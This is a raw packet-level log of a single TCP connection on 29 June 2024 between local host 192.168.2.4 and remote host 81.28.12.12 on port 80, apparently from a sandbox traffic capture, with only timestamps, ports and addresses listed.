Jun 29, 2024 08:05:17.695873976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695903063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695952892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695974112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.696007013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.696039915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.696059942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.696090937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.696110964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.696144104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.696177006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.696197033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.696228027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.696280956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.763767958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.763809919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.763845921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.763863087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.763884068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.763930082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.763961077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764008045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764030933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764089108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764117002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764147997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764182091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764202118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764233112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764251947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764285088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764317989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764353037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764370918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764420033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764437914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764471054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764507055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764528990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.764569998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.764678001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.766721010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.766792059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.766824007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.766854048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.766874075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.766913891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.766943932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.766976118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.766995907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.767029047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767060995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767095089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.767127037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767174959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.767725945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767786980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767800093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.767832041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767865896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767885923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.767935038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.767961979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.767987013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.768008947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.768042088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.768145084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.768552065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.768798113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781291962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781356096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781369925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781402111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781451941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781471014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781502008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781533957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781554937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781593084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781620979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781671047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781691074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781724930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781744957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781775951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781799078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781832933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781864882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781888008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781919003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.781949043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781965971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.781994104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782026052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782048941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782078981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782120943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782171965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782207012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782227039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782270908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782294989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782329082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782371998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782386065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782418013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782450914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782470942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782500982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782531977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782551050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782582998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782602072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782634020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782669067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782691002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782721996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782766104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782779932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782831907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782855034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782881021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.782923937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.782974958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783009052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783030987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783061981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783096075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783114910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783147097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783166885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783202887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783230066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783276081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783294916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783329010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783360004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783385992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783418894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783447981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783479929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783512115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783535004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783557892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783587933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783618927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783638954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783678055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783704996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783737898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783771992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783791065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783838034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783871889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783890963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783915997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.783935070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783960104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.783986092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784020901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784053087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784094095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784107924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784140110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784174919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784195900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784219027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784245968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784277916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784297943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784323931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784352064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784372091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784399033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784434080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784466028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784502029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784535885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784571886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784605026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784640074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784660101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784684896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784703970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784720898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784753084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784786940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784806013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784836054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784854889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784888983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784902096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.784931898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784965038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.784986019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785022020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785098076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785131931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785181046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785204887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785234928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785268068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785288095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785326958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785353899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785387993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785433054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785456896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785489082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785521984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785545111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785576105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785598993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785629034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785664082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785686970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785722017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785738945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785772085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.785795927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785813093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.785842896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.786005974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.859723091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.859783888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.859808922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.859849930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.859884977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.859957933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860013008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860052109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860074997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860100031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860142946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860194921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860229015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860260963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860285997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860316038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860340118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860375881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860409975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860429049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860460043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860527992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860562086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860594988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860616922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860649109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860681057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860702038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860733032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860764980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860785007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860816956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860860109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860877991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860877991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860903025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.860941887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860975981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.860996962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.861027002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.861073017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.861092091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.861092091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.861115932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.861154079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.861190081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.861212015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.861232996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.870950937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871001005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871026039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871057987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871078968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871112108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871164083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871187925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871218920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871262074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871283054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871283054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871303082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871355057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871391058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871450901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871465921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871495962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871519089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871551991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871573925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871622086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871645927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871678114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871711969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871735096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871769905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871809959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871845961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871893883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871927023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.871964931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.871995926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872019053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872051954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872083902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872102976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872129917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872163057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872183084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872214079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872245073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872270107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872292995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872344971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872380018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872411966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872431040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872457027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872526884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872564077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872585058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872626066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872653961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872704983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872725964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872765064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872792959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872826099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872858047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.872879028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872917891 CEST	80	49731	81.28.12.12	192.168.2.4
